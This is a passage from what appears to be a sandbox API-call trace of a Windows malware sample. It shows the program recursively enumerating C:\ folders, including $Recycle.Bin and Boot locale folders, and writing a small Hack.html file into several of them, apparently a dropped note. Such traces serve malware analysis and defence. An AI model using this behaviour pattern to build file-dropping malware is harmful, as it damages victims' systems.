lpFindFileData=0x39eb98) returned 1 [0065.706] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.706] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.706] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.706] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.706] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.707] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.707] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.707] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.707] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.707] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.707] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.708] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.713] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.713] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.713] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 0 [0065.713] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ee20) returned 1 [0065.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ee2c) returned 1 [0065.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee60) returned 1 [0065.714] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x39e968, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.714] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x39e93c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.714] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x39eb88 | out: lpFindFileData=0x39eb88) returned 0x521dc0 [0065.714] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.714] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.714] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.715] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.715] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.715] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.715] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.715] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.715] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.715] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.715] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.716] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.716] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.716] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.716] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.716] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.716] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 0 [0065.716] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ee20) returned 1 [0065.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ee2c) returned 1 [0065.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.733] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0065.733] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\", lpFilePart=0x0) returned 0x10 [0065.734] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x521dc0 [0065.734] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.734] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.734] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0065.734] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0065.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0065.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.735] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0065.735] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\", lpFilePart=0x0) returned 0x10 [0065.735] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x521dc0 [0065.735] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.735] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.735] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0065.735] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0065.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0065.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.736] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFilePart=0x0) returned 0x3e [0065.736] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpFilePart=0x0) returned 0x3f [0065.736] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.736] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.736] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.736] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.736] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.737] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFilePart=0x0) returned 0x3e [0065.737] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpFilePart=0x0) returned 0x3f [0065.737] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.737] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.737] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.737] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.738] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.751] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html", lpFilePart=0x0) returned 0x48 [0065.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.752] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Hack.html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.753] GetFileType (hFile=0x3cc) returned 0x1 [0065.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.753] GetFileType (hFile=0x3cc) returned 0x1 [0065.755] WriteFile (in: hFile=0x3cc, lpBuffer=0x26f8750*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x26f8750*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.756] CloseHandle (hObject=0x3cc) returned 1 [0065.760] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e828, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\Hack.html", lpFilePart=0x0) returned 0x19 [0065.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed1c) returned 1 [0065.760] CreateFileW (lpFileName="C:\\$Recycle.Bin\\Hack.html" (normalized: "c:\\$recycle.bin\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.761] GetFileType (hFile=0x3cc) returned 0x1 [0065.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed18) returned 1 [0065.761] GetFileType (hFile=0x3cc) returned 0x1 [0065.762] WriteFile (in: hFile=0x3cc, lpBuffer=0x26faeb8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed98, lpOverlapped=0x0 | out: lpBuffer=0x26faeb8*, lpNumberOfBytesWritten=0x39ed98*=0xba, lpOverlapped=0x0) returned 1 [0065.763] CloseHandle (hObject=0x3cc) returned 1 [0065.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.763] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0065.763] GetFullPathNameW (in: lpFileName="C:\\Boot\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\", lpFilePart=0x0) returned 0x8 [0065.763] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x521dc0 [0065.764] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.764] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.764] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.764] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.764] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.764] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.764] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.765] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.765] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.765] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.765] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.765] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.765] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.766] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.766] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.766] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.766] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.766] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.766] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.767] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.767] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.767] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.767] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.767] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.767] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.767] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.768] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.768] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.768] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.768] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.769] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.769] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0065.769] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0065.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0065.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee2c) returned 1 [0065.769] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x39e934, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0065.769] GetFullPathNameW (in: lpFileName="C:\\Boot\\", nBufferLength=0x105, lpBuffer=0x39e908, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\", lpFilePart=0x0) returned 0x8 [0065.769] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x39eb54 | out: lpFindFileData=0x39eb54) returned 0x521dc0 [0065.770] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.770] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.770] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.770] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.770] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.770] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.771] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.771] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.771] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.771] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.771] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.771] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.771] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.772] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.772] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.772] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.772] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.772] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.772] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.772] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.773] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.773] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.773] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.773] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.773] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.773] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.773] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.773] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.774] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.774] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.774] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 1 [0065.774] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb64 | out: lpFindFileData=0x39eb64) returned 0 [0065.774] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edec) returned 1 [0065.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edf8) returned 1 [0065.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.774] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0065.774] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\", lpFilePart=0x0) returned 0xe [0065.774] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.776] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.776] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.776] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.776] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.776] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0065.776] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\", lpFilePart=0x0) returned 0xe [0065.777] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.777] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.777] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.777] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.777] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.778] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.778] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\Hack.html" (normalized: "c:\\boot\\cs-cz\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.778] GetFileType (hFile=0x3cc) returned 0x1 [0065.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.778] GetFileType (hFile=0x3cc) returned 0x1 [0065.779] WriteFile (in: hFile=0x3cc, lpBuffer=0x2701910*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2701910*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.780] CloseHandle (hObject=0x3cc) returned 1 [0065.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.780] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0065.780] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\", lpFilePart=0x0) returned 0xe [0065.781] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.781] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.781] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: 